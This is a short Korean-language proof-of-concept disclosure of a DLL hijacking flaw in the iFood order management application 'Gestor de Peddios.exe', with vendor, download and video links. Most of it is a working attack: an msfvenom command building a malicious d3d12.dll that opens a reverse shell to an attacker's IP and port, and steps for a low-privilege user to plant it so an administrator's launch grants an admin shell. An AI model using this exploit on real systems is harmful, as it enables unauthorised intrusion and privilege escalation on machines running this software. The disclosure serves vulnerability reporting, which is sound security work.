ifood 주문 관리자 'Gestor de Peddios.exe' - DLL 하이재킹

공격자는 합법적인 'd3d12.dll'이 발견되기 전에 애플리케이션이 검색하는 디렉터리에 악성 DLL 'd3d12.dll'을 배치합니다. 애플리케이션이 실행되면 합법적인 DLL 대신 악성 DLL을 로드하여 공격자가 애플리케이션의 컨텍스트에서 임의의 코드를 실행할 수 있게 됩니다.

공급업체 홈페이지: https://gestordepedidos.ifood.com.br/

구글 드라이브: https://drive.google.com/file/d/1p5SavlbLAE2o59l8jj4j-FkE_Ne_0Y-P/view?usp=sharing

POC 동영상: https://youtu.be/oMIobV2M0T8

POC

1. Kali Linux에서 msfvenom으로 악성 DLL 파일 생성

   root@kitploit:~

   msfvenom -p windows/x64/shell_revese_tcp LHOST=<IP> LPORT=<PORT> -f dll -o d3d12.dll
   

2. 생성된 'd3d12.dll'을 Kali에서 낮은 수준의 사용자 액세스로 Windows 호스트로 전송

3. 생성된 'd3d12.dll' 파일을 낮은 수준의 사용자 액세스로 'C:\Gestor de Peddios\d3d12.dll'로 이동

4. 관리자가 애플리케이션을 실행하면 관리자 권한으로 리버스 셸을 획득합니다